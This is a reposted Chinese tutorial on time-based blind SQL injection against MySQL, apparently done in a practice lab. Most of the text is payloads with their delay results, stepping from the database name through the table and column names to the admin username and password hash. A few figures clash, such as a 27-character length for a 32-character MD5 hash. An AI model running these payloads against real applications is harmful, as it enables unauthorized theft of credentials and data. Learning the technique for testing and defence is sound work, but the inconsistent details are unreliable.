热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

数据库技术:20200713SQL盲注(延时注入)

思路:*判断是否存在注入,注入是字符型还是数字型*猜解当前数据库名*猜解数据库表名*猜解字段名*猜解数据1判断注入类型payloadresult1’andsleep(5)#延迟1a

思路:
*判断是否存在注入,注入是字符型还是数字型
*猜解当前数据库
*猜解数据库表名
*猜解字段名
*猜解数据
1判断注入类型

payload result
1’ and sleep(5) # 延迟
1 and sleep(5)# 没有延迟
存在字符型注入
2猜解当前数据库名
2.1猜解数据库名的长度:

payload result
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 延迟
说明数据库名长度为4个字符。
2.2采用二分法猜解数据库名:

payload result
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 没有延迟
说明数据库的第一个字符为小写字母d(ASCII码:100)
重复上述步骤,就能猜解出数据库名。
3猜解数据库的表名
3.1先猜解数据库中表的数量:

payload result
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) # 没有延迟
1’ and if(select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # 延迟
说明数据库中有两个表。
3.2接着猜解表名:

payload result
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 延迟
说明第一个表名的长度为9个字符。
然后猜解表名:

payload result
1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))>97,sleep(5),1) # 延迟
1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))<100,sleep(5),1) # 没有延迟

1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=103,sleep(5),1) # 延迟
表名的第一个字符为g(ASCII码:103),照此方法依次猜出表名。
得出这两个表依次为:guestbook、users.
4由表名猜字段名
先猜字段数:

payload result
1’ and if((select count(column_name) from information_schema.columns where table_name= “users”)=1,sleep(5),1) # 没有延迟

1’ and if((select count(column_name) from information_schema.columns where table_name= “users”)=9,sleep(5),1) # 延迟
说明users表有8个字段。
猜字段名

payload result
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))>97, sleep(5),0) # 延迟
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))<105, sleep(5),0) # 延迟

1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))=117, sleep(5),0) # 延迟
依次类推可得表中所有字段名
敏感字段: user、password.
猜解user和password的值的长度
第一个用户名长

payload result
1’and if((select (length(substr((select user from users limit 0,1),1))=1) ,sleep(5),1) # 没有延迟

1’and if((select (length(substr((select user from users limit 0,1),1))=5) ,sleep(5),1) # 延迟
第一个用户名的password的md5字段长

payload result
1’and if((select (length(substr((select password from users limit 0,1),1))=1) ,sleep(5),1) # 没有延迟

1’and if((select (length(substr((select password from users limit 0,1),1))=27) ,sleep(5),1) # 延迟
第一个用户名:

payload result
1’ and if(select ascii(substr((select user from users limit 0,1),1,1))>97,sleep(5),1) # 没有延迟

1’ and if(select ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1) # 延迟
依次猜解得第一个用户名为admin
第一个用户的密码

payload result
1’ and if(select ascii(substr((select password from users limit 0,1),1,1))>97,sleep(5),1) # 没有延时

1’ and if(select ascii(substr((select password from users limit 0,1),1,1))=53,sleep(5),1) # 延时
依次猜解密码的md5值:5f4dcc3b5aa765d61d8327deb882cf99

user password
admin 5f4dcc3b5aa765d61d8327deb882cf99
这样就可以猜解数据库中的数据。
语句:
select schema_name from information_schema.schemata (获取数据库名)
select table_name from information_schema.tables (获取表名)
select column_name from information_schemata.columns (获取所有列名)
函数:
sleep()函数
用法(语法):sleep(duration),其中duration的单位是秒。

ascii(string)
功能: 数据库字符集返回string的第一个字节的十进制表示。

substr(string,start [,length])
第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

count(column_name) 函数返回指定列的值的数目(NULL 不计入)。

limit [offset,] rows
offset是偏移量,表示我们现在需要的数据是跳过多少行数据之后的,可以忽略;
rows表示我们现在要拿多少行数据。

数据库技术:2020-07-13 SQL盲注(延时注入)地址:https://blog.csdn.net/weixin_42254735/article/details/107313991

需要了解更多数据库技术:2020-07-13 SQL盲注(延时注入),都可以关注数据库技术分享栏目—编程笔记


推荐阅读
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • http头_http头部注入
    1、http头部注入分析1、原理 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • MongoDB用户验证auth的权限设置及角色说明
    本文介绍了MongoDB用户验证auth的权限设置,包括readAnyDatabase、readWriteAnyDatabase、userAdminAnyDatabase、dbAdminAnyDatabase、cluster相关的权限以及root权限等角色的说明和使用方法。 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • 本文介绍了在Ubuntu系统中清理残余配置文件和无用内容的方法,包括清理残余配置文件、清理下载缓存包、清理不再需要的包、清理无用的语言文件和清理无用的翻译内容。通过这些清理操作可以节省硬盘空间,提高系统的运行效率。 ... [详细]
  • 本文提供了关于数据库设计的建议和注意事项,包括字段类型选择、命名规则、日期的加入、索引的使用、主键的选择、NULL处理、网络带宽消耗的减少、事务粒度的控制等方面的建议。同时还介绍了使用Window Functions进行数据处理的方法。通过遵循这些建议,可以提高数据库的性能和可维护性。 ... [详细]
  • 常用工具(一)
    1.时间戳在线转换工具(1)链接https:tool.lutimestamp(2)说明可以通过此工具:将时间戳转为具体时间点,也可以将具体时间点转为时间戳(3)效果2.JSON在线 ... [详细]
  • 文章目录一、前文二、接口文档2.1请求地址2.2请求方式2.3请求参数2.4公共参数2.5签名规则三、Md5Utils工具类四、HttpUtils工具类(过时)五、HttpUtil ... [详细]
author-avatar
小寒风
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有